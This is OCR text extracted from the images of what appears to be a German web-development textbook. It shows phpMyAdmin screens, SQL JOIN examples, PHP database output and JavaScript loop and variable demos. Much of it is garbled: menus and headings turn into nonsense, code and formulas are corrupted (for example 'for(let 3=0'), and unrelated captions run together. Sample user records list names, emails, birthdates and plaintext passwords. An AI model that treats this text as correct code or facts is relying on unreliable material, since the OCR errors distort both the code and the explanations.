test89@test.at abc123 Theresia ~ Obermaier  12.5.1981
test17@test.at asdfsadf Sandra Huber 12.5.1978
test18@test.at TestXXX Hubert Huber 17.8.1999

Reg.-Zeitpunkt
6.5.2023, 11:08 Uhr
6.5.2023, 11:08 Uhr
6.5.2023, 11:11 Uhr
6.5.2023, 11:11 Uhr
6.5.2023, 11:11 Uhr
26.5.2023, 17:23 Uhr
26.5.2023, 17:24 Uhr
26.5.2023, 17:27 Uhr
26.5.2023, 17:29 Uhr
26.5.2023, 17:44 Uhr
26.5.2023, 18:55 Uhr
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o Typ, Lange: varchar(64)
o Null erlaubt: YES
o Schliissel:
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PDO MySQLi
stdClass Object stdClass Object
( (
[IDUser] => 1 [IDUser] => 1
[Emailadresse] => uwe.mutz@syne.at [Emailadresse] => uwe.mutz@syne.at
[Passwort] testl123 [Passwort] => testl23
[Vorname] => Uwe [Vorname] => Uwe
[Nachname] => Mutz [Nachname] => Mutz
[GebDatum] => 1972-10-17 [GebDatum] => 1972-10-17
[RegZeitpunkt] => 2023-05-06 11:08:57 [RegZeitpunkt] => 2023-05-06 11:08:57

stdClass Object
(

[IDUser] => 2

[Emailadresse] => hermann.maierGhml.at
[Passwort] => test456

[Vorname] => Hermann

[Nachname] => Maier

[GebDatum] =>

[RegZeitpunkt] => 2023-05-06 11:08:57

stdClass Object
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[IDUser] => 2

[Emailadresse] => hermann.maier@hml.at
[Passwort] => test456

[Vorname] => Hermann
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[GebDatum] =>

[RegZeitpunkt] => 2023-05-06 11:08:57

stdClass Object
(

[IDUser] => 5
[Emailadresse] => test2@test.at
[Passwort] => test2345

[Vorname] => Markus

stdClass Object
(

[IDUser] => 5
[Emailadresse] => test2@test.at
=> test2345
=> Markus

[Passwort]
[Vorname]






OEBPS/bilderklein/klein06_093.png
WIR SIND DE BESTEN. WIR SIND DI BESTEN. WIR SIND DI BESTE.
WIR SO DIEGRSSTEN. [ win st me issren,

Wi

D DIESTAONSTER. | W SIND DI SCADNSTEN,





OEBPS/bilder/12_009.png
<« G O O localhost/BL

w

Verbindungsaufbau (Wrapper)

N2

&<

X

8

+

»

mysqgli_result Object

(
[current_field] => 0
[field count] => 7
[lengths] =>
[num_rows] => 11
[type] => 0

PDOStatement Object

(
[queryString] =>
SELECT

*

FROM tbl_user






OEBPS/bilder/12_008.png
(XX J @ | /b tocalhost /localhost /db_fullst= X |+ v

<« @] QO D localhost/phpmyadminfindex.php?route=/databas- ¥¢  Q Suchen @ ¥ 8 =

phpMyAdmin [ﬂ Server: localhost » @ Datenbank: db_fullstack
Iy TIar T =

Letzte Favoriten

- Exportiere Tabellen der Datenbank "db_fullstack"

— & Neu

S db_3963 1 Exportvorlagen: |
o e .
- db_bsp_schule Neue Vorlage: Existierende Vorlagen:
#+- . db_buch
]+- | db_dropbox — .
EpR——— Vorlagenname ‘Vor\agenname Vorlage: | - Eine Vorlage auswahlen v
(=~ | db_fullstack P . P S "
— Neu  Anlegen | | Aktualisieren | | Lschen |
+- 4 tbl_user
#- . db_hochzeit )
®G o leobinied? l Exportmethode: |
Il& :::_Ia w © Schnell - nur notwendige Optionen anzeigen
%_ 31dblogin Angepasst - zeige alle mdglichen Optionen an

% db_ph_spiele

4~ db_praesentationen
- do_redaktion

4 db_registrierung

i saL
e do s a M
- db_umiragen
information_schema ‘ Exportieren “
- mysql _
%~ performance_schema =

% phpmyadmin m Konsole|






OEBPS/bilderklein/klein06_092.png
oA,
Tioe-height 1S,

ooy,
o izt nen
T

ot lnial,
it e
et

ol
ey
sibility e

Jiasnd

Tt lnial,
Tt e
et

oy,

aicedass “pdt






OEBPS/bilderklein/klein12_033.png
© 0 0B Mmoo Qs ° s

G, G sehwsSpaen
s kST

i schmes, Sparien





OEBPS/bilder/12_007.png
Als neuen Datensatz speichern

(2]

Einfligen mit |2

v und dann

Datensétzen fortfahren

zuriick

SQL Vorschau

Zurlicksetzen

OK






OEBPS/bilderklein/klein06_091.png
[ r—
ecaugcendo
metboum{oot)
ndenS5 B,
o,

g e
L desigmensensegn,
(103 Gnhiammendiespe

L Shcreenegen,

g Pt
artenere e
sockodel

g gty

frdeciemente PR e






OEBPS/bilder/12_026.png
phpMyAdmin
-1 TIarT)

Letzte Favoriten

4 Neu

@
S db_soes
& g ecoep
- do_bsp._schule
- do bucn
4 db_aropbox
. db_tahmadverein
- db.tulstack
1 db_hochzet
615 dlkenetist
O o
5 dhtops
41 db_login
- do_musvervaltung
)» 4 Neu

- tl_aben

(] Anzeigen 4 Struktur

L] saL

Aktionen  Constrainteigenschaften

traint-Name

ON DELETE | CASCADE

ON UPDATE | CASCADE

+Constraint hinzufiigen

Intore Boziehungon

Anzuzeigende Spalte auswahlen;

SQL Vorschau | Speichern
m Konsole

Songitel

. Suche 3 Einfigen =) Exportieren (i Importieren

= Rechte /* Operationen v Mehr

Spalte Beschrénkung fiir auswartige Sct
Datenbank Tabelle
FIDA -
v lbum db_musikverwaltu v tbl_alben ~

+Spalte hinzufiigen






OEBPS/bilderklein/klein07_017.png





OEBPS/bilder/12_025.png
phpMyAdmin Server: locakhost » @ Datenbank: db_musikverwaltung
aNeBe [ Anzeigen 4 Struktur [ SQL 4 Suche 3 Einfigen =} Exportieren (cb Importieren =\ Rechte J° Operationen ¥ Mehr
Letzte  Favoriten
Aktionen Constrainteigenschaften spate ¢ Beschrankung flir auswartige Schidssel (INNODB)
-

[~ sNew Datenbank Tabelle Spaite

-

B3 @063 Constraint-Name

= FoAbun

%~ db_bsp_schule ON DELETE | CASCADE v db_musikverwaltu v tol_alben v

b5 e < Soate st

Py ON UPDATE | CASCADE .

- do_fahradverein

1 o s +Constraint hinzuflgen

- db_hochzeit

- do_kontakie2

g Interme Beziehungen

- doiap2

-9 db_login Anzuzeigende Spalte auswahlen: Songttel v

= db_musikverwaltung

SQL Vorschau | Speichern
m Konsole






OEBPS/bilderklein/klein07_016.png
false. " false _ -faise
——

s ( ——

false_ak e *false
= =
e " false _ -faise
—_— ——
frue a® true =t
= =






OEBPS/bilder/12_024.png
phpMyAdmin
Y TarTs
Lotz Favorien

= wo_nane
P

in(10)

in(10)

O 0O O

‘varchar(128)

o Reihenfolge finyint(2)

1 [ Aleauswihien  markiert:

aiKoai! % 2v zentrlen Spallen i

7 Sergagalocalbost » @ Datenbank: do_musikverwaltung ~ [ Tabelle: tbl_songs.

Einfiigen | = Exportieren (i Importieren | = Rechte | Operationen

Attribute Null Standard Kommentare Extra Axtion

s Nein  keinfe) AUTO_INCREMENT 7 Boarboiton

e Nein  kein(e) & Boarbolten

tombé_gonoral_ci Noin  koin(o) 7 Bearboton

isoNeD  Nein  kein(e) & Boarboiten

Anzeigen 7 Bearbeiten @ Loschen 9 PrimérschiGssel (@ Uniaue ] Index

Lufigen 4 Zentrale Spalten entiernen

< Mohr

© Léschen  Mehr

© Losohen Mot
@ Léschen  Mehr
© Loschan e

I Réumiich

host » (P Dalenbankc

Ll sq

phpMyAdmin
aEle e
Favorten

| Anzeigen ‘Struktur

Latzte ¥ Tabellenstruktur

@

-3 do_koniakis2 Beschrinkungen durch Fremdschiissel
1 fap
1 do_lap2

 login
=1 db_musikverwalung
™

AMtionen Constrainteigenschafien

_muskvenwaltung » [ Tabelle: l_song

Einfiigen | = Exportieren Rechte | /* Operationen

Beschrankung fir auswirtige Schiissel (INNODB)

Datenbank. Tabelle

~ Mehr

4 ol aben
- toLinerpreton
=) tl_songs

Constraint Name

ON DELETE RESTRICT

ON UPDATE |RESTRICT

do_musikverwaltu v
+Spaio hinzufigen

+ Constraint hinzufligen

e Bezmangen

Anzuzeigende Spalte auswahien: | Songitel

| SQLVorschau || Speicher |






OEBPS/bilderklein/klein07_015.png
Var vn = “Une, m = "Mt
name = vn + mn; //"Unelitz’

B-E-F

Snane = $un | $on; //"Unelutz”

ds

PHP






OEBPS/bilder/12_023.png
Index hinzufigen

Indexname: &

Index Auswahl: &
UNIQUE v

Zusétzliche Optionen

Spalte GroBe

IDSong [int(10) unsigned] v

1 Spalte(n) zum Index hinzufigen

OK SQL Vorschau SchlieBen






OEBPS/bilderklein/klein07_014.png
© exestons
5 s & O

LI e ——

RO oo twn > 01 @ 0 X
Bt beacenie i usgae i o nceronsle
ordonomeniehanionCode B0 wr @ °






OEBPS/bilder/12_022.png
IDU

IDP

Vorname

Produkt

Nachname

verbindende Tabelle
IDUP FIDU FIDP Anz






OEBPS/bilderklein/klein07_013.png
Wert:91ml

W
o
o
o
o
on

Wert: 27l

Name: Tasse.

Typ:Wasser






OEBPS/bilderklein/klein07_012.png
Wert:91ml

o
ont

let Tasse = 9

Name: Tasse

Typ: Wasser
Tasse = true;
Wert:true e

Typ: Wahrheit





OEBPS/bilderklein/klein07_011.png
Wert:91ml

letTasse = 9%

Name: Tasse

Typ: Wasser






OEBPS/bilder/12_021.png
IDU Vlorname Nachname IDTN FIDU  TeilnehmerNr






OEBPS/bilder/12_020.png
(DU Yorname Nachname DT FIDU TEL

11 Silvia Mutz 1 2 11 +43123456789

17 - +43110 3439832






OEBPS/bilder/12_019.png
phpMyAdmln B 7 Server: locakhost » @ Datenbank: db_fullstack »

sHelse [] Anzeigen i Stuktur [] SQL 4 Suche 3: Einfigen =3 Exportieren

Cetzio Eevorken) ] 7 RegZeftpunkt tmestamp Nein ~ current_timestamp() & Bearbeiten

I °:;" Y [ Aleauswdhlen  markierte: [ Anzeigen 7 Bearbeiten @ Loschen

- db_3963 [ Volitext %5 Zu zentralen Spalten hinzufagen
48 39635

|} Importieren = Rechte J* Operationen ¥ Mehr

> Primarschlassel [ Unique

Eindex [ Raumiich
2 Zentrale Spalten entfemen

\%»  db_bsp_schule
- db_buch

@ Drucken

2 | Spalte(n) einfagen | nach RegZeitpunkt v






OEBPS/bilderklein/klein07_010.png
[ LT —
) s st

® scptéeiatn

® sciptsasinen

[m
e

sevom Senerthaten MContertlon
serbegion mit dem Parse

——->

iticher Verauf Verarbeitungsvorgang)

synchon:  <script srce"]s/bibliothek.Js"></script>

-'@

e cscript seejs/bibliothek.Js" asyncoc/scripts

defer: cscript sve=js/bibliothek.Js* defenc/scripts






OEBPS/bilder/12_018.png
XX @ | Normattormen X | 4 tocalostlocahestdb_tutsts X |+ v
<« G O D localhostiphpmyadmin/index.php?route=/c ¥¥  Q Suchen ® & g 2
phngAdmln 7 Server: localhost » ) Datenbank: db_fullstack
fEoel @8 —
ER-Diagramm Musil n
Letzte  Favorten ER-Diagramm Musikverwaltung ZJECIE TSR
gt =
b 3
- IDUser : ini(10) unsigned :
%) db_3063 g 4 IDUser :int(10) unsigned o IDTelno : nt(10) unsigned | [ (3| (10) unsig @ IDTelno: int(10) unsigned
- 39635 _ o Emailadresse : varchar(64) s "
{E g 2 B —— « FiDPerson :nt10) uneigned| | @ (64) # FIDPerson : int(10) unsigned
$ " Passwort : varchar(255) :
-3 db_buch | | o Passwort:varchar(zss) o Telno : varchari(z2) a| art2ss) 0 Teno : varchar(32)
i- © db_dropbox @| | o Vomame: varchar(32) @| |0 Vomame: varchar(32)
- o fahradverein (3| Nachname : varchar(32) E & Nachname : varchar(32)
= db_fullstack o @ GebDatum : date R @ GebDatum : date
; < RegZitpun :timestamp 51 = oszeunc mesano
@34 thluser ® [c)
4~ . db_hochzeit
& T SliGwon] i Konscl)






OEBPS/bilderklein/klein07_009.png
D

P T cx 20@
@i s
el SO0
LRI — .
FUR—— ::-,,M.:“;:amz.““






OEBPS/bilder/12_017.png
# IDSong : int(10) unsigned

@ IDInterpret : int(10) unsigned 2 IDAIbum : int(10) unsigned

@ Interpret : varchar(64) # FIDInterpret : int(10) unsigned # FIDAIbum : int(10) unsigned

@ Gruendungsjahr : year(4) @ Albumtitel : varchar(128) 2 Songtitel : varchar(128)

@ Erscheinungsjahr : year(4) # Reihenfolge : tinyint(2) unsigned






OEBPS/bilderklein/klein07_008.png
© ety x|

R —

Cosevor g acan g SO

PORR——

0% 0@
(I
S6 e






OEBPS/bilderklein/klein07_020.png





OEBPS/bilder/12_035.png
tbl_ausborgeliste

tbl_autoren

tbl_buecher

tbl_buecher_autoren

tbl_personen

tbl_staaten

tbl_user

tbl_verlage






OEBPS/bilderklein/klein07_027.png
ey ey o e G el e
YR
v [etel st .
FER R PR LR e vy
v AT s e s o e e ee






OEBPS/bilder/12_034.png
db_fullstack

db_fullstack_bibliothek

db_fullstack_fahrradclub

db_fullstack_onlineshop

db_fullstack_schule

information_schema






OEBPS/bilderklein/klein07_026.png
for-Schleife mit let-Deklaration

s 1






OEBPS/bilder/12_033_01.png
O B Ibereich/Datenbankmodellierung/Datenbankinformationen/showtables.php?datenbankname=db_fullstack_bibliothek ¥






OEBPS/bilderklein/klein07_025.png
for-Schleife mit let-Deklaration






OEBPS/bilder/12_033.png
(X X ) @ | SELECTDISTINCT X |+

<« @ O B https://buecher.syneweb.com/php/datenbani ¥¥  Q Suchen & =
Staaten ohne DISTINCT:
SELECT

tbl_staaten.Staat
FROM tbl_user
INNER JOIN tbl_staaten ON tbl_staaten.IDStaat=tbl_user.FIDGeburtsland

Osterreich, Osterreich, Schweiz, Spanien

Staaten mit DISTINCT:

SELECT DISTINCT
tbl_staaten.Staat
FROM tbl_user
INNER JOIN tbl_staaten ON tbl_staaten.IDStaat=tbl_user.FIDGeburtsland

Osterreich, Schweiz, Spanien






OEBPS/bilderklein/klein07_024.png
mit var-Deklaration






OEBPS/bilderklein/klein07_023.png
(for)
Schleife

<

Beginn

//Codeblock






OEBPS/bilder/12_032.png
[ X X ) @  Rekursive Navigation x |+

<« C O B https://buecher.syneweb.com/php/datenbanken/rek

* Home
o Uber uns
* Dienstleistungen
o Web
o Print
o Usability
* Referenzen
o Web

= Frontend

= Backend
o Print
* Kontakt
o Impressum

Home Uber uns Dienstleistungen

¥ Q Suchen

Referenzen

Kontakt

v
R |
Impressum

n






OEBPS/bilderklein/klein07_022.png
Beginn






OEBPS/bilder/12_031.png
eee @ sons x|+ v

«
(=3
"

« C O 8 httpsi/buecher.syneweb.com/php/dat: Y7 Q Suchen ©

Join-Typ: [ Right Join

SELECT
tbl_user. IDUser,
b1 user.Enailadresse,
b1 user.Vorname,
b1 user . Nachname,
tbl_geschlechter.Geschlecht
FROM tbl_user
RIGHT JOIN tbl_geschlechter ON tbl_geschlechter.IDGeschlecht=tbl_user.FIDGeschlecht

(GHTJOIN ergit 10 Dotensatze
RIGHT JOIN =
, IDUser Emailadresse Vorname Nachname ~Geschlecht
) "
User ohne zugewiesenes ! Alle Geschlechter mit oder ohne 1 divers
! 1 1 uwe.mutz@syne.at Uwe Mutz mannlich
Geschlecht: 1 Userdaten: 1 "
S Markus, 12Harald, | Sudivers}, Tm[1:Une ' 2 hermann.maier@hm1.at Hermann Maier mannlich
i 12 g [5e s imil:uwe, 1 8 tests@testat Harald  Maierhofer mannlich
15:Sandra { Tem2:Hermann, tm|8:Harald, 1 10 testé@testat Harald  Maierhofer mannlich
1 1:m[10:Harald, 1:m[16:Hubert, | 16 testi8@testat Hubert  Huber mannlich
:w|6:Sabine, | 19 jakob.mutz@syne.at mannlich
abine, 2: heresia 1 6 test3@test.at Sabine  Maier weiblich
-=! 7 testa@rest.at Sabine  Miller weiblich
14 test89@test.at Theresia  Obermaier weiblich






OEBPS/bilderklein/klein07_021.png
Beginn

Ausgabe:
“Das Ergebnis ist
gedter 315 200"

usgabe
as Exgebnds ist nicht
grofer 31s 200"






OEBPS/bilder/12_030.png
LEFTIOIN

Alle User mit oder ohne
zugewiesenes Geschlecht:
1:Uwe(1:m, 2:Hermann|1:m,
5:Markus|?, 6:Sabine|2:w,
7:Sabine[2:w, 8:Harald|1:m,
10:Harald|1:m, 12:Harald|?,
14:Theresia|2:w, 15:Sandraf?,
16:Hubert|1:m, 19:2|1:m

Nicht zugewiesenes
Geschlecht:
3udivers (d)

¢ QSuchen

000 @ x|+
G C O 8 ntipsi/jbuecher.syneweb.com/php/da
Join-Typ: [ Left Join

SELECT
tbl_user. IDUser,
tb1 user.Emailadresse,
b1 user.Vorname,
b1 user .Nachnane,
b1 geschlechter.Geschlecht
FROM tbl_user

LEFT JOIN tbl_geschlechter ON tbl_geschlechter.IDGeschlecht=tbl user.FIDGeschlecht

LEFTJOIN ergibt 12 Datensatze

IDUser Emailadresse
1 uwe.mutz@syne.at
2 hermann.maier@hm1.at
s test2@test.at

6 test3@test.at

7 test4@test.at

8 test5@test.at

10 test6@test.at

12 test7@test.at

14 test89@test.at

15 test17@test.at

16 test18@test.at

19 jakob.mutz@syne.at

Vorname
Uwe
Hermann
Markus
Sabine
Sabine
Harald
Harald
Harald
Theresia
sandra
Hubert

Nachname
Mutz
Maier
Huberer
Maier
Miller
Maierhofer
Maierhofer
Obermiller
Obermaier
Huber
Huber

Geschlecht
mannlich
mannlich

weiblich
weiblich
mannlich
mannlich

weiblich

mannlich
mannlich






OEBPS/bilder/12_029.png
[ X X J @ | Joins X

<« C O B nttps://buecher.syneweb.com/php/dz

Join-Typ:[ Inner Join v/

+

¥ Q Suchen

@]
[«
[
Il

SELECT
tbl_user
tbl_user
tbl_user
tbl_user

.IDUser,
.Emailadresse,
.Vorname,
.Nachname,

tbl_geschlechter.Geschlecht

FROM tbl_user

INNER JOIN tbl_geschlechter ON tbl_geschlechter.IDGeschlecht=tbl user.FIDGeschlecht

INNER JOIN ergibt 9 Datensdtze

IDUser
1

2

8

10

16

19

6

7

14

Emailadresse
uwe.mutz@syne.at
hermann.maier@hm?1.at
test5@test.at
test6@test.at
test18@test.at
jakob.mutz@syne.at
test3@test.at
test4@test.at
test89@test.at

Vorname

Uwe
Hermann
Harald
Harald
Hubert

Sabine
Sabine
Theresia

Nachname
Mutz
Maier
Maierhofer
Maierhofer
Huber

Maier
Mdiller
Obermaier

Geschlecht
mannlich
mannlich
mannlich
mannlich
mannlich
mannlich
weiblich
weiblich
weiblich






OEBPS/bilder/12_028.png
User ohne zugewiesenes
Geschlecht:

5:Markus, 12:Harald,
15:Sandra

INNER JOIN

Nur User mit zugewiesenem
Geschlecht:

1:Uwe]1:m, 2:Hermann|1:m,
6:Sabine|2:w, 7:Sabine[2:w,
8:Harald[1:m, 10:Harald|1:m,
14:Theresia[2:w,
16:Hubert|1:m, 19:?|1:m

Nicht zugewiesenes
Geschlecht:
3udivers (d)






OEBPS/bilderklein/klein07_019.png





OEBPS/bilder/12_027.png
Menge aller Menge aller
User Geschlechter






OEBPS/bilderklein/klein07_018.png





OEBPS/bilderklein/klein07_030.png
o ' 2 3 4 s 8 1 8

o alfe o ]ie s e a]ie o)l o
v [ate|tTe 2T LY

PRIEES
e wile oflw fr e ey @

Weaks  Ba Koo Wels  iOwme Memtibe Wil Pk6 P2






OEBPS/bilderklein/klein07_029.png
ros.






OEBPS/bilder/07_011.png
Wert: 9T ml ----------

Name: Tasse

Typ: Wasser

let Tasse = 91;






OEBPS/bilder/formel-08_2.png
k=12 1> 3
T 1920 — 320 1600 3200





OEBPS/bilderklein/klein07_037.png
4 =10+
%
@

v ¥ Qaile w5 %3

erdos Tty Werdbe Tels a2






OEBPS/bilder/formel-08_11.png
16—16-0,76_16-(1—0,76) 0,24 24 3
1920 —320 1600 100 ~ 10000 1250

3
Offsetd = 16 — 1920 - 1250 ~ 11,5

X 3
+ Breiteyiewport + 11,5 = 50 -100vw + 11,5

Steigung k =
3
1250

= Skalierungy =





OEBPS/bilderklein/klein07_036.png
e ol [t PG [ +F
v late|+tes¥e
PRIERS
e vile st e Car

erks MK Kaod

Tty Herhbe s PRI






OEBPS/bilder/07_010.png
. HTML Parsing (Verarbeiten des HTMI-Codes durch den Browser)
() HIML Parsing pausiert

. Scriptdatei laden

. Scriptdatei ausfiihren

Response vom Server erhalten, DOfAontentloaded
der Browser beginnt mit dem Parsen _

zeitlicher Verlauf (Verarbeitungsvorgang)

synchron:  <script src="js/bibliothek.js"></script>

-'@

async: <script src="js/bibliothek.js" async></script>

defer: <script src="js/bibliothek.js" defer></script>






OEBPS/bilder/formel-08_10.png
h1 = (fiorrekurszo - 1,618)” = (0,707 - 1,618)* = 1,5
h2 = (frorrekwrazo - 1,618) ~ 1,31
h3 = (frorrekwurazo - 1,618)' ~ 1,14
h4 = (fiorrexturazo - 1,618)° = 1
h5 = (fgorrekturazo - 1,618)™! ~ 0,87
h6 = (fgorrekturazo - 1,618)72 =~ 0,76
h1 = (fiorrekturiozo - 1,618)° = (0,89 - 1,618)% = 3
h2 = (fiorrekturiozo - 1,618)% = 2,07
h3 = (frorrekuur1920 - 1,618)" ~ 1,44
h4 = (fiorrektur1920 * 1,618)° = 1
h5 = (fcorrekur1o20 - 1,618) ™" ~ 0,69
h6 = (feorernriong - 1,618)72 ~ 0,48





OEBPS/bilderklein/klein07_035.png





OEBPS/bilder/07_009.png
[ X X J @ Synchrone Verarbeitung X +

< (¢ @ localhost/BUECHER/js/synchron/asynchron01.php

document .addEventListener ("DOMContentLoaded",
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Datei nach 2.09808349609
geladen

Script- simulate.php?delay=1:1
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geladen

Script- simulate.php?delay=5:1

Datei nach 5.0012059211731s
geladen
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o Typ, Lénge: int unsigned
o Null erlaubt: NO
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o Typ, Lénge: int unsigned
o Null erlaubt: NO
o Schliissel: MUL
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o Null erlaubt: YES
o Schlissel:
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) @ top v © ©
Ihr Alter:| 51 Filtern
Standardlevel ¥ Keine Probleme
Vorname (Uwe) ist vom Typ

string
function showData() { Das gy_qumwandlung;p_h 14
let vorname = document.querySelector (" [name=vorname]").value; Alter (51) ist vom Typ string

let alter = document.querySelector (" [name=alter]").value; >

console.log("Der Vorname ("+vorname+") ist vom Typ "+ (typeof vorname));
console.log("Das Alter ("+alter+") ist vom Typ "+(typeof alter));

return false;
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var vn = "Uwe", nn = "Mutz", name;
name = vn + nn; //"UweMutz"

B-: -

$vn = "Uwe";
$nn = "Mutz";
$name = $vn . $nn; //"UweMutz"

J5
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Wert: 91ml

let Tasse = 91;

Tasse = true;

Wert: true  true

Typ: Wahrheit

Name: Tasse
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Schleifen

C QO D localhost b.php

for-Schleife mit let-Deklaration

...sowie unterschiedlichen Variablennamen

o &uBeres i=0
o inneres j=0
o inneres j=1
o inneres j=2
* duBeres i=1
o inneres j=0
o inneres j=1
o inneres j=2

for (let i=0; i<2; i++) {
document .write ('<li>duferes i=' + i + '<ul>');
for(let 3=0; j<3; j++) {
document .write ('<li>inneres j=' + j + '</li>');
}

document.write ('</ul></1i>");

> Q Suchen






OEBPS/bilderklein/klein02_007.png
‘Genauer anschauen.

soe






OEBPS/bilder/07_025.png
Schleifen

C O D localhost

for-Schleife mit let-Deklaration

* &uBeres i=0
o inneres i=0

o inneres i=1

o inneres i=2
* duBeres i=1

o inneres i=0

o inneres i=1

o inneres i=2

for(let i=0; i<2; i++) {
document .write ('<li>auBeres i=' + i + '<ul>');
for(let i=0; i<3; i++) {
document.write('<li>inneres i=' + i + '</1i>');
}

document.write ('</ul></1i>");

bk Q_ Suchen
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Schleifen

¢ O D localho:

for-Schleife mit var-Deklaration

* &uBeres i=0
o inneres i=0
o inneres i=1

o inneres i=2

for(var i=0; i<2; i++) {
document .write ('<li>&uferes i=' + i + '<ul>');
for(var i=0; i<3; i++) {
document.write ('<li>inneres i=' + i + '</1i>');
}
document.write ('</ul></1i>');

w Q Suchen
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"Hi Silvia"

Ausgabe:
"Hallo, lieber
Alexander"

Ausgabe:
"Servus Thomas"
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Markup Validation Service

Validateby URI  Validat by File Upload  Valdate by Direct Input

Validate by URI
Vaicte a documant anino:

Address:

» More Options

“This validator checks the markup validity of Web documents in HTML, XHTML, SMIL, MathML, etc. If you wish to validate specific content such as RSS/Atom feeds or CSS stylesheets, MobileOK content, or to find broken links,
there are other validators and tools available. As an altemative you can also try our non-DTD-based validator.

Interested in “developing your developer skils? In W3Cx's hands-on Professional Certicate Program, learm how 1o code the right way by creating Web sites and apps that use th latest
‘Web standards. Find out more!

‘Donate and help us build better tools for a better web.

Home About. News Docs Help&FAQ Feedback Contribute

B — -
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Server Status
® MySQL Database Stopped
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ggf. (zwischen’) Schitt:
Standarddokument ermitteln
aus Webserver Konfiguration
auslesen:

index html, index.phpo.A.

Schrit 4: Anfrage abarbeiten
angefragtes Dokument: keines

Schritt3: Request an den Server
Adresse: http: /185101158178

Dienst: www
Port: 80 o

Schritt2: Name aufgelst

Der Nameserver sendet die zugehirige

1PAdresse an den Anfragenden zuriick
185101158178

Schritt 1: Namensaufigsung
Adresse: wwwsyne.at
Dienst: www

Schritt 10: Zuweisen der CS5-Regeln an den
Dokumentbaum (typ. asynchron)

Ermitteln und Klassifizieren samtlicher

55 Regeln (Kaskade, Specifitit) und Zu-
weisen dieser an den HTML-Dokumentbaum

Schritt6: Inhalt einlesen
Inhalt des Dokuments (indexhtmi
baw das angefiagte Dokument)
inleser)

Schritt 7 Response vom Server
Adresse: vom Clent gesendete
o 1PAdresse

Port: vom Client gesendeter Port

'Www.syne.at

Schritt 8: Antwort verarbeiten
Einlesen des HTMI:Codes und Aufbauen des Doku-
mentbaurnes (DOM): Ereignis DOMContentloaded

Schritt9: bentigte Daten am Server anfragen
Anfragen samtlicher Medien (Bilder, Audio- und
Videodateien etc.), C55- und IS-Dateien usw, dieim
HTMI:Code als externe Quellen angegeben sind

Schritt 11: Abarbeiten von JS-Code
{typ.synchron)

Ausfihren von Script Befehlen (je nach
Scriptsprache)

Schritt 12: Abschluss
Die Website wird im Browser fertig
dargestell. Ereignis: oad






OEBPS/bilder/07_033.png
0 1 2 3 4 5 6 7
g Te oo o]ie o003 * 2t o
v [ a%al*Te 272
* | ®
e ®j ¢ ¢ % ik ¥ %y
Herz-Ass Pik7 Karo 9 Treff9  PikDame Herz-Bube  Treff4 Pik2






OEBPS/bilder/03_003.png
Freie /8 Blocke

1

2008 2010 2012 2014

2006

Jahr






OEBPS/bilder/05_001.png
bis v. 4.01

XHTML
— SVG
MathmL
SMIL






OEBPS/bilder/04_005.png
<ldoctype html>

<html lang="de">

<head>

<meta charset=“UTF—8"P
<title>Fehlerhafter HTML-Code</title>
</head>

<body>
<p>Im nicht geschlossenen Anfilhrungszeichen des
Attributs charset des meta-Tags liegt der Hund
begraben...</p>

</body>

</html>
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<html lang="de">
<head>

4 <meta charset="UTF-8>
<title>Fehlerhafter HTML-Code</title>
</head>

<body>
<p>Im nicht geschlossenen Anflhrungszeichen des
Attributs charset des meta-Tags liegt der Hund
begraben...</p>

</body>

</html>
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//lokale Variable
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}

globale Variable b
(nicht verfigbar):
undefined
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» GET http://localhost/BUECHER/js/objekte/objektedl.php [HTTP/1.1 0K 1ms]

objekte@1l.php:41:17

» 0: Object { Vorname: "Uwe", Nachname: "Mutz", GebDatum: "17.10.1972" }
» 1: Object { Vorname: "Silvia", Nachname: "Mutz", GebDatu .5.1978" }
» 2: Object { Vorname: "Jakob", Nachname: "Mutz", GebDatum 1.8.1997" }
» 3: Object { Vorname: "Horst", Nachnam Mutz", GebDatum: "18.8.1945" }
» 4: Object { Vorname: "Jutta", Nachname: "Mutz", GebDatum: "8.5.1947" }
length: 5
» <prototype>: Array []
» GET http://localhost/favicon.ico [HTTP/1.1 Not Found 1ms]
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C O D localhost/BUECHER/css/listen/listen04.php %¥  Q Suchen & =B

#1 Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt

ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor
sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna
aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

#2 Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt

ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor
sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna
aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

#3 Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt

ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor
sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna
aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.
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1 HTML - Die Grundlage einer Website

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore
magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
‘gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

1.1 Die Geschichte von HTML
Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore

magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
‘gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

1.2 Der Browser als Interpreter

1.2.1 Ein Test fir h3

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore
